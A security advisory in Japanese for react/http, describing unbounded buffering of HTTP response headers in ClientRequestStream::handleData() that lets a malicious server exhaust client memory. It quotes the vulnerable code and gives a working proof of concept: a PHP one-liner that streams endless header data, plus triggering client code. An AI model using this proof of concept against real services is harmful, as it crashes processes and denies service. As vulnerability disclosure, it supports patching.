react/http: HTTPクライアントの応答ヘッダーのバッファリング制限がないことが原因で、メモリの枯渇を引き起こすDoS攻撃

### 概要

`React\Http\Browser`とその下位レベルのHTTPスタックは、受信中の応答ヘッダーセクションのサイズに制限を設けていません。`ClientRequestStream::handleData()`は、受信するすべてのバイトを内部バッファに追加し、`\r\n\r\n`(または`\n\n`)という終端シーケンスを検索しますが、バッファの長さをチェックすることはありません。悪意のあるサーバーが終端シーケンスを隠し、データを継続的に送信すると、PHPの`memory_limit`が上限に達するまで、クライアントのメモリを無限に増加させ、プロセスがクラッシュする可能性があります。

これは、`react/http`をクライアントとして使用して、信頼できないURLまたは攻撃者によって操作されたURLをフェッチするすべてのアプリケーションに対する、認証不要でネットワーク経由でアクセス可能なサービス拒否攻撃です。リダイレクトも含まれます。

### 詳細

`ClientRequestStream::handleData()`は、基盤となる接続の`data`イベントに直接関連付けられており、ピアから送信されるすべてのバイトが、サイズチェックなしで追加されます。

```php
public function handleData($data)
{
$this->buffer .= $data;

// ダブルCRLF(レガシーサーバーとの互換性のためにダブルLF)が現れるまでバッファリング
$eom = \strpos($this->buffer, "\r\n\r\n");
$eomLegacy = \strpos($this->buffer, "\n\n");
if ($eom !== false || $eomLegacy !== false) {
```

バッファリング状態からの唯一の脱出方法は、ヘッダーの終端シーケンスを見つけるか、接続が閉じられることです。したがって、ピアがデータを送信し続ける限り、バッファは単調に増加し続けます。

この種の制限は、コードベースの他の場所ではすでに適用されていますが、対称的には適用されていません。`RequestHeaderParser`は、サーバーとして動作する際の受信**リクエスト**ヘッダーに制限を設け、`Transaction::bufferResponse()`は、応答**ボディ**に制限を設けますが、これはヘッダーセクションがすでに`Response`オブジェクトに解析された後にのみ適用されます。応答ヘッダーの受信は、制限が全くない唯一の段階でした。

### PoC(概念実証)

有効なステータスラインと部分的なヘッダーを送信し、その後、ヘッダーセクションを終了することなく、無限にデータをストリーミングするHTTPサーバー。

```bash
php -r '$s=stream_socket_server("tcp://127.0.0.1:18080"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, str_repeat("A",1048576)); usleep(10000); }'
```

`memory_limit=64M` を設定したクライアントからのリクエストの例:

```php
$browser = new React\Http\Browser();
$browser->get("http://127.0.0.1:18080/")->then(
function () { echo "ok\n"; },
function ($e) { echo get_class($e) . ": " . $e->getMessage() . "\n"; }
);
```

クライアントのメモリ使用量は、プロセスが `ClientRequestStream::handleData()` 内で `Allowed memory size ... exhausted` エラーで終了するまで、着実に増加します。

### 影響

攻撃者が制御する、侵害された、またはその他の信頼できないエンドポイント(リダイレクトを経由して到達するものを含む)から `Browser` を使用してデータを取得するプロセスに対して、認証なしでリモートからサービス拒否を引き起こす可能性があります。 ユーザーの操作や特別な権限は必要ありません。 ヘッダーバッファの上限がないため、単一の安価な接続でもメモリを任意に増加させ、プロセスをクラッシュさせ、そのプロセスが実行していたイベントループまたはワーカーを停止させる可能性があります。 機密性および完全性には影響はありませんが、そのプロセスの可用性は完全に損なわれます。

影響を受けるパッケージ:
- Composer (PHP) react/http: 影響を受けるバージョン >= 1.0.0、<= 1.11.0、1.11.1 で修正済み。